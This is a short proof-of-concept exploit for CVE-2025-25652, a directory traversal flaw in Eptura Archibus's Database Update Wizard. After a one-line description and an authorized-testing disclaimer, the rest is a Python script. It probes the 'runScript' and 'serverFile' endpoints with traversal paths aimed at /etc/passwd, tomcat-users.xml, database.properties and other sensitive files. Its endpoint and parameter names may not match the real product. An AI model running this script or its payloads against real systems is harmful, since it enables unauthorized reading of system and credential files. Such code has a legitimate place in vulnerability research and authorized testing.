In Eptura Archibus 2024.03.01.109, the "Run script" and "Server File" components of the "Database Update Wizard" are vulnerable to directory traversal.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-25652 PoC - Eptura Archibus Directory Traversal
Note: This PoC is for educational and authorized testing purposes only.
"""
import requests
import sys
TARGET_URL = "http://target-server.com/archibus/"
def test_directory_traversal():
"""Test for directory traversal vulnerability in Database Update Wizard"""
# Common sensitive files to test
test_paths = [
"../../../etc/passwd",
"..\..\..\windows\system32\drivers\etc\hosts",
"../../../web.xml",
"../../../tomcat-users.xml",
"../../../database.properties"
]
# Test Run Script component
run_script_url = TARGET_URL + "dbupdate/runScript"
# Test Server File component
server_file_url = TARGET_URL + "dbupdate/serverFile"
print("[*] Testing CVE-2025-25652 Directory Traversal...")
print(f"[*] Target: {TARGET_URL}")
for path in test_paths:
# Test Run Script endpoint
params = {"scriptPath": path}
try:
response = requests.get(run_script_url, params=params, timeout=10)
if response.status_code == 200 and len(response.content) > 0:
print(f"[!] Potential vulnerability found at Run Script with path: {path}")
print(f" Response length: {len(response.content)} bytes")
except requests.RequestException as e:
print(f"[-] Request failed for Run Script: {e}")
# Test Server File endpoint
params = {"filePath": path}
try:
response = requests.get(server_file_url, params=params, timeout=10)
if response.status_code == 200 and len(response.content) > 0:
print(f"[!] Potential vulnerability found at Server File with path: {path}")
print(f" Response length: {len(response.content)} bytes")
except requests.RequestException as e:
print(f"[-] Request failed for Server File: {e}")
if __name__ == "__main__":
test_directory_traversal()